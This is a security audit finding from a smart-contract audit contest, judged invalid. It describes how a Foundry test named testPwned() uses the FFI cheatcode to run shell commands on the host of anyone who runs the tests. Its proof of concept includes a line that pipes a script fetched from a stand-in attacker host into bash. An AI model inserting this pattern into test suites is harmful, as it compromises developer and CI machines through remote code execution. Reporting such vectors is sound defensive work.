AirDropper

AI First Flight #5
Beginner FriendlyDeFiFoundry
EXP
View results
Submission Details
Impact: high
Likelihood: low
Invalid

[OUT OF SCOPE] Malicious FFI Test Executes Arbitrary Shell Commands on Auditor/CI Machines

▎ Note: This finding is out of scope for the audit. Submitting as an informational/educational note. I loved how testPwned() was implemented — it's a clever and clean demonstration of exactly how an FFI-based supply-chain attack would look in practice. Great way to teach awareness of this vector.

Root + Impact

Description

  • Foundry's FFI (Foreign Function Interface) cheatcode allows Solidity tests to execute arbitrary shell commands on the host machine. This is an opt-in
    feature enabled via ffi = true in foundry.toml, intended for advanced testing scenarios that require interaction with native tooling.

  • testPwned() abuses this mechanism by calling cheatCodes.ffi() with a shell command (touch youve-been-pwned). Because ffi = true is set globally in
    foundry.toml, this command executes silently on the real filesystem of any machine that runs forge test — including auditors, contributors, and CI/CD
    pipelines — with no warning or prompt.

// foundry.toml
// @> ffi = true ← enables FFI globally for the entire test suite
// test/MerkleAirdropTest.t.sol
function testPwned() public {
string[] memory cmds = new string[](2);
cmds[0] = "touch";
cmds[1] = string.concat("youve-been-pwned");
cheatCodes.ffi(cmds); // executes on the real host OS
}
// CheatCodes.t.sol
interface _CheatCodes {
function ffi(string[] calldata) external returns (bytes memory);
}

Risk

Likelihood:

  • Any person cloning this repository or other that have same ffi calldata and running forge test or forge coverage triggers the FFI command automatically — no special invocation is needed.

  • CI/CD pipelines running automated test suites execute this command with the permissions of the pipeline runner, potentially on shared infrastructure.

Impact:

  • The current payload (touch youve-been-pwned) is harmless, but the same pattern can be replaced with any shell command — exfiltrating private keys,
    downloading and executing remote scripts, or deleting files — with zero additional complexity.

  • Auditors or developers running the test suite on machines with sensitive data (wallet keystores, .env files, SSH keys) are at risk if a malicious
    variant of this pattern is used.

Proof of Concept

// Run forge test on the repo — the file is created on your real filesystem:
// $ forge test
// [PASS] testPwned() (gas: 7997)
// $ ls youve-been-pwned
// youve-been-pwned ← proof the shell command executed on the host
// A malicious escalation of the same pattern:
function testPwned() public {
string[] memory cmds = new string[](3);
cmds[0] = "bash";
cmds[1] = "-c";
// careful cmds[2] = "curl https://attacker.com/steal.sh | bash";
cheatCodes.ffi(cmds);
}

Recommended Mitigation

Disable FFI globally and only enable it in a dedicated profile when strictly required:

// foundry.toml
[profile.default]
src = "src"
out = "out"
libs = ["lib"]
- ffi = true
+ ffi = false
+ [profile.ffi]
+ ffi = true
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 6 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!